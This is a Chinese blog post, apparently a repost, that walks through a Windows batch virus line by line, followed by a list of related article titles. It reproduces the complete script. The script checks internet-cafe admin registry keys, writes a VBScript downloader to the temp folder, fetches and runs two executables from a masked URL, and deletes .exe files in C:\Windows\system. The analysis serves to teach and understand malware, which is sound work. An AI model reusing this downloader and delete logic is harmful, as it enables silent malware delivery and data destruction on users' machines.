之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦

这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm

@echo off&setlocal enabledelayedexpansion

这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\iCafe8 /v Admin>nul 2>nul&&call :is_admin_icafe
reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin>nul 2>nul&&call :is_admin_eyoo
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin>nul 2>nul&&call :is_admin_yungengxin

这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????

:is_admin_icafe
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\icafe8 /v Admin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof:is_admin_eyoo
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof:is_admin_yungengxin
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof:superadmin
exit

这里是下载两个exe到c盘下(网址抹掉了),然后删除c:\windows\system\下所有的exe,/q取消删除确认,然后执行结束

::Download one or more programs and run the programs
call :geticon http://xxxx/xx/zc005.exe C:\Windows\system\zc005.exe
call :geticon http://xxxx/xx/zjzc6.exe C:\Windows\system\zjzc6.exe
del c:\windows\system\*.exe /q
exit

我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件

:geticon url path
echo strFileURL="%1">%temp%\boot.vbs
echo strHDLocation="%2">>%temp%\boot.vbs
echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%\boot.vbs
echo objXMLHTTP.open "GET", strFileURL, false>>%temp%\boot.vbs
echo objXMLHTTP.send()>>%temp%\boot.vbs
echo If objXMLHTTP.Status=200 Then>>%temp%\boot.vbs
echo     Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\boot.vbs
echo     objADOStream.Open>>%temp%\boot.vbs
echo     objADOStream.Type^=^1>>%temp%\boot.vbs
echo     objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\boot.vbs
echo     objADOStream.Position^=^0>>%temp%\boot.vbs
echo     Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%\boot.vbs
echo     If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%\boot.vbs
echo     Set objFSO=Nothing>>%temp%\boot.vbs
echo     objADOStream.SaveToFile strHDLocation>>%temp%\boot.vbs
echo     objADOStream.Close>>%temp%\boot.vbs
echo     Set objADOStream=Nothing>>%temp%\boot.vbs
echo End if>>%temp%\boot.vbs
echo Set objXMLHTTP=Nothing>>%temp%\boot.vbs
cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist %2 start "" %2
goto :eof

这里就是vbs执行的流程

strFileURL=http://xxxx/xx/zc005.exe                '目标URL
strHDLocation=C:\Windows\system\zc005.exe        '存放地址
Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")    '创建一个MSXML2.XMLHTTP对象用来抓取网页数据
objXMLHTTP.open "GET", strFileURL, false        'get方式访问url获取响应信息
objXMLHTTP.send()
If objXMLHTTP.Status=200 Then                    '判断是否访问到页面Set objADOStream=CreateObject("ADODB.Stream")    'ADODB.Stream用来数据传输
    objADOStream.OpenobjADOStream.Type^=^1                        '以二进制形式读取文件objADOStream.Write objXMLHTTP.ResponseBody    '数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一objADOStream.Position^=^0                    '指示开始读取的位置Set objFSO=Createobject("Scripting.FileSystemObject")    '创建Scripting.FileSystemObjectIf objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation    '检测是否存在目标目录,存在就删除文件Set objFSO=NothingobjADOStream.SaveToFile strHDLocation        '写入到目标路径
    objADOStream.CloseSet objADOStream=Nothing
End if
Set objXMLHTTP=Nothing

最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe

cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist %2 start "" %2
goto :eof

这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

转载于:https://www.cnblogs.com/QKSword/p/9157624.html

一个bat病毒分析(part1)相关推荐

  1. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

  2. 一个DDOS病毒的分析(二)

    一.基本信息 样本名称:hra33.dll或者lpk.dll 样本大小: 66560 字节 文件类型:Win32的dll文件 病毒名称:Dropped:Generic.ServStart.A3D47B ...

  3. html病毒编写,用bat写的一个小病毒

    用了三天才看完=.=,感觉作者整理整理可以把博客当书买了... 然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源...呵呵. ...

  4. 一个感染型木马病毒分析(一)

    一. 样本信息 样本名称:resvr.exe(病毒母体) 样本大小:70144 字节 病毒名称:Trojan.Win32.Crypmodadv.a 样本MD5:5E63F3294520B7C07EB4 ...

  5. android.troj.opfake.a病毒,FakeMsdMiner挖矿病毒分析报告

    原标题:FakeMsdMiner挖矿病毒分析报告 近日,亚信安全截获新型挖矿病毒FakeMsdMiner,该病毒利用永恒之蓝,永恒浪漫等NSA漏洞进行攻击传播.该病毒具有远控功能,可以获取系统敏感信息 ...

  6. 信息安全 | 病毒分析的基础流程、报告编写、特征提取

    病毒分析的基础流程.报告编写.特征提取 基础流程 静态分析 文件类型 API信息 字符串提取 壳检测 反汇编 动态分析 虚拟机 注册表检测 文件操作检测 进程检测 网络检测 动态调试 常用工具 反汇编 ...

  7. C:/WINDOWS/system32/x 病毒分析和解决建议

    系统出现问题,症状有: 偶尔很卡,CPU并没有很高的进程: 死机,屏幕锁定,键盘失灵,仅鼠标能移动,但是不能任何操作: 只能强行重新启动: NOD32会报以下病毒警告: C:/WINDOWS/syst ...

  8. 熊猫烧香变种病毒分析

    熊猫烧香变种病毒分析分析报告 样本名 2_dump_SCY.exe(熊猫烧香) 作者 yusakul 时间 2018-07-13 平台 Win7-32 1.样本概况 1.1 样本信息 病毒名称 2_d ...

  9. 013 Android锁机病毒分析

    文章目录 免流服务器-锁机病毒分析 秒抢红包-锁机病毒分析 免流服务器-锁机病毒分析 首先来分析这个免流服务器的锁机病毒,文件信息如下 文件: 免流服务器.apk 大小: 799835 bytes 修 ...

最新文章

  1. UVA11384 Help is needed for Dexter (规律、思维)
  2. 无法为您重置MySQL密码_无法重置MySQL的root密码
  3. 罗伯特·帕丁森Robert Pattinson(2)
  4. 【华为云技术分享】序列特征的处理方法之二:基于卷积神经网络方法
  5. androidstudio自带git用法_Android Studio使用Git版本控制github
  6. MFC 获取其他窗口的Edit文本和单击Button
  7. python中int转换为时间戳_python日期和时间戳互相转化操作详解
  8. python退出帮助系统_Python基础(09):帮助
  9. 宋九九:怎么做好网站搜索引擎优化,企业网站如何seo优化?
  10. 碳足迹审核的计算有几种方法?
  11. 扩展lucas学习笔记
  12. 统信UOS系统桌面回收站图标删除
  13. [转载]微软下一代掌上操作系统Microsoft Windows Mobile Crossbow
  14. 为什么专业领域里外行领导能让墙倒屋塌?
  15. springboot + JPA 配置双数据源
  16. 关于CKCsec安全研究院
  17. Sequence Number
  18. python中常用于输出信息的语句函数是print括号_Python语句 print(type(1/2)的输出结果是...
  19. 记录配置微信外链跳转小程序踩坑(H5跳转小程序)
  20. 3.1 Coordinate 坐标 上机实验

热门文章

  1. 一位计算机牛人的心得,谈到计算机和数学,很实用~
  2. 想将PPT的文字转换到Word文档?看这一篇就够了!!!
  3. 一行代码解决ie浏览器的兼容
  4. 突破单IP频繁反爬虫限制的小技巧
  5. java学习第八天内容
  6. python get pip.py_get-pip.py 安装
  7. python控制ppt翻页_python 操作ppt
  8. 数据库模型设计——历史表与版本号设计
  9. J9说数字科普为何DeFi永不消亡
  10. 没有免费用户却飞速发展,Uber技术栈全解析!